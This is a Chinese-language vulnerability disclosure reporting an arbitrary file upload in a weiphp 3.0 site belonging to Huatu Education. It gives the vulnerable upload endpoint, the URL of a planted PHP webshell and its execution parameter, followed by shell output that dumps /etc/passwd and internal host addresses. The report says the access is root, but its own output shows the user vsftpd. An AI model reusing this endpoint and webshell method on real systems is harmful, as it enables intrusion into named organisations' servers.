华图教育某站点任意文件上传导致Getshell/Root权限/影响多个站点

这个没有打补丁的后果，在tangscan跟别人换了一个插件，刚好你们框架这个版本存在这个漏洞。
 目标 http://wx.ah.huatu.com/ 存在 weiphp3.0 index.php?s=/Home/File/uploadPicture/任意文件上传

http://wx.ah.huatu.com/Uploads/Picture/2016-04-18/5714a7c9330a4.php
 data: 0=phpinfo();

权限很大，当前用户是root，影响live.huatu.com   book.huatu.com zabbix weixin等多个站点

[*] 基本信息 [ Linux 11-168 2.6.32-431.23.3.el6.x86_64 #1 SMP Thu Jul 31 17:20:51 UTC 2014 x86_64(vsftpd) ]
 
 [/home/ahweixin/Uploads/Picture/2016-04-18/]$ ls
 5714a7c9330a4.php
 [/home/ahweixin/Uploads/Picture/2016-04-18/]$ cat /etc/passwd
 root:x:0:0:root:/root:/bin/bash
 bin:x:1:1:bin:/bin:/sbin/nologin
 daemon:x:2:2:daemon:/sbin:/sbin/nologin
 adm:x:3:4:adm:/var/adm:/sbin/nologin
 lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
 sync:x:5:0:sync:/sbin:/bin/sync
 shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
 halt:x:7:0:halt:/sbin:/sbin/halt
 mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
 uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
 operator:x:11:0:operator:/root:/sbin/nologin
 games:x:12:100:games:/usr/games:/sbin/nologin
 gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
 ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
 nobody:x:99:99:Nobody:/:/sbin/nologin
 vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
 saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
 postfix:x:89:89::/var/spool/postfix:/sbin/nologin
 sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
 vsftpd:x:500:500::/home/vsftpd:/sbin/nologin
 ntp:x:38:38::/etc/ntp:/sbin/nologin
 tcpdump:x:72:72::/:/sbin/nologin
 zabbix:x:501:501::/home/zabbix:/bin/bash
 mysql:x:502:502::/home/mysql:/bin/bash
 vsftp:x:503:503::/home/vsftp:/sbin/nologin
 [/home/ahweixin/Uploads/Picture/2016-04-18/]$ cat /etc/hosts
 127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
 ::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
 192.168.11.177 live.huatu.com
 192.168.11.145  11-145
 192.168.11.118  11-118
 192.168.11.119  11-119
 192.168.11.216  11-216
 [/home/ahweixin/Uploads/Picture/2016-04-18/]$ ifconfig
 /bin/sh: ifconfig: command not found
 [/home/ahweixin/Uploads/Picture/2016-04-18/]$ who
 root     hvc0         Jan 14 15:25
 [/home/ahweixin/Uploads/Picture/2016-04-18/]$ whoami
 vsftpd